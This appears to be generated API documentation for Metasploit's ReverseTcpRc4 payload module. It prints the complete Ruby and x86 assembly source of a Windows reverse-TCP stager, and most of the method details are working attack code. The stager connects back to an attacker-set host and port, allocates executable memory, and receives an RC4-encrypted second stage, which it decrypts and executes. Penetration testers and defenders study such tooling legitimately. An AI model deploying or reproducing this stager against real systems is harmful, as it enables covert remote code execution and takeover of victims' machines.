Module: Msf::Payload::Windows::ReverseTcpRc4
- Includes:
- TransportConfig, Rc4, ReverseTcp
- Included in:
- ReverseTcpRc4Dns
- Defined in:
- lib/msf/core/payload/windows/reverse_tcp_rc4.rb
Overview
Complex reverse_tcp_rc4 payload generation for Windows ARCH_X86
Constant Summary
Constants included from Rex::Payloads::Meterpreter::UriChecksum
Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_CONN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_CONN_MAX_LEN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITJ, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITP, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITW, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INIT_CONN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_MIN_LEN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_MODES, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_UUID_MIN_LEN
Instance Method Summary collapse
-
#asm_block_recv_rc4(opts = {}) ⇒ Object
Generate an assembly stub with the configured feature set and options.
-
#generate(_opts = {}) ⇒ Object
Generate the first stage.
-
#generate_reverse_tcp_rc4(opts = {}) ⇒ Object
Generate and compile the stager.
Methods included from Rc4
#asm_decrypt_rc4, #generate_stage, #handle_intermediate_stage, #initialize
Methods included from ReverseTcp
#asm_block_recv, #asm_reverse_tcp, #generate_reverse_tcp, #include_send_uuid, #initialize, #required_space, #transport_config
Methods included from Exitfunk
Methods included from BlockApi
Methods included from SendUUID
#asm_send_uuid, #uuid_required_size
Methods included from Msf::Payload::Windows
#apply_prepends, exit_types, #handle_intermediate_stage, #include_send_uuid, #initialize, #replace_var
Methods included from PrependMigrate
#apply_prepend_migrate, #initialize, #prepend_migrate, #prepend_migrate?, #prepend_migrate_64
Methods included from TransportConfig
#transport_config_bind_named_pipe, #transport_config_bind_tcp, #transport_config_reverse_http, #transport_config_reverse_https, #transport_config_reverse_ipv6_tcp, #transport_config_reverse_named_pipe, #transport_config_reverse_tcp, #transport_config_reverse_udp, #transport_uri_components
Methods included from UUID::Options
#generate_payload_uuid, #generate_uri_uuid_mode, #initialize, #record_payload_uuid, #record_payload_uuid_url
Methods included from Rex::Payloads::Meterpreter::UriChecksum
#generate_uri_checksum, #generate_uri_uuid, #process_uri_resource, #uri_checksum_lookup
Methods included from Pingback::Options
Instance Method Details
#asm_block_recv_rc4(opts = {}) ⇒ Object
Generate an assembly stub with the configured feature set and options.
63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 |
# File 'lib/msf/core/payload/windows/reverse_tcp_rc4.rb', line 63 def asm_block_recv_rc4(opts={}) xorkey = Rex::Text.to_dword(opts[:xorkey]).chomp reliable = opts[:reliable] asm = %Q^ recv: ; Receive the size of the incoming second stage... push 0 ; flags push 4 ; length = sizeof( DWORD ); push esi ; the 4 byte buffer on the stack to hold the second stage length push edi ; the saved socket push #{Rex::Text.block_api_hash('ws2_32.dll', 'recv')} call ebp ; recv( s, &dwLength, 4, 0 ); ^ if reliable asm << %Q^ ; reliability: check to see if the recv worked, and reconnect ; if it fails cmp eax, 0 jle cleanup_socket ^ end asm << %Q^ ; Alloc a RWX buffer for the second stage mov esi, [esi] ; dereference the pointer to the second stage length xor esi, #{xorkey} ; XOR the stage length lea ecx, [esi+0x100] ; ECX = stage length + S-box length (alloc length) push 0x40 ; PAGE_EXECUTE_READWRITE push 0x1000 ; MEM_COMMIT ; push esi ; push the newly received second stage length. push ecx ; push the alloc length push 0 ; NULL as we dont care where the allocation is. push #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualAlloc')} call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE ); ; Receive the second stage and execute it... ; xchg ebx, eax ; ebx = our new memory address for the new stage + S-box lea ebx, [eax+0x100] ; EBX = new stage address push ebx ; push the address of the new stage so we can return into it push esi ; push stage length push eax ; push the address of the S-box read_more: ; push 0 ; flags push esi ; length push ebx ; the current address into our second stage's RWX buffer push edi ; the saved socket push #{Rex::Text.block_api_hash('ws2_32.dll', 'recv')} call ebp ; recv( s, buffer, length, 0 ); ^ if reliable asm << %Q^ ; reliability: check to see if the recv worked, and reconnect ; if it fails cmp eax, 0 jge read_successful ; something failed, free up memory pop eax ; get the address of the payload push 0x4000 ; dwFreeType (MEM_DECOMMIT) push 0 ; dwSize push eax ; lpAddress push #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualFree')} call ebp ; VirtualFree(payload, 0, MEM_DECOMMIT) cleanup_socket: ; clear up the socket push edi ; socket handle push #{Rex::Text.block_api_hash('ws2_32.dll', 'closesocket')} call ebp ; closesocket(socket) ; restore the stack back to the connection retry count pop esi pop esi dec [esp] ; decrement the counter ; try again jnz create_socket jmp failure ^ end asm << %Q^ read_successful: add ebx, eax ; buffer += bytes_received sub esi, eax ; length -= bytes_received ; test esi, esi ; test length jnz read_more ; continue if we have more to read pop ebx ; address of S-box pop ecx ; stage length pop ebp ; address of stage push ebp ; push back so we can return into it push edi ; save socket mov edi, ebx ; address of S-box call after_key ; Call after_key, this pushes the address of the key onto the stack. db #{raw_to_db(opts[:rc4key])} after_key: pop esi ; ESI = RC4 key #{asm_decrypt_rc4} pop edi ; restore socket ret ; return into the second stage ^ if opts[:exitfunk] asm << asm_exitfunk(opts) end asm end |
#generate(_opts = {}) ⇒ Object
Generate the first stage
20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 |
# File 'lib/msf/core/payload/windows/reverse_tcp_rc4.rb', line 20 def generate(_opts = {}) xorkey, rc4key = rc4_keys(datastore['RC4PASSWORD']) conf = { port: datastore['LPORT'], host: datastore['LHOST'], retry_count: datastore['ReverseConnectRetries'], xorkey: xorkey, rc4key: rc4key, reliable: false } # Generate the advanced stager if we have space if self.available_space && cached_size && required_space <= self.available_space conf[:exitfunk] = datastore['EXITFUNC'] conf[:reliable] = true end generate_reverse_tcp_rc4(conf) end |
#generate_reverse_tcp_rc4(opts = {}) ⇒ Object
Generate and compile the stager
43 44 45 46 47 48 49 50 51 52 53 54 |
# File 'lib/msf/core/payload/windows/reverse_tcp_rc4.rb', line 43 def generate_reverse_tcp_rc4(opts={}) combined_asm = %Q^ cld ; Clear the direction flag. call start ; Call start, this pushes the address of 'api_call' onto the stack. #{asm_block_api} start: pop ebp #{asm_reverse_tcp(opts)} #{asm_block_recv_rc4(opts)} ^ Metasm::Shellcode.assemble(Metasm::X86.new, combined_asm).encode_string end |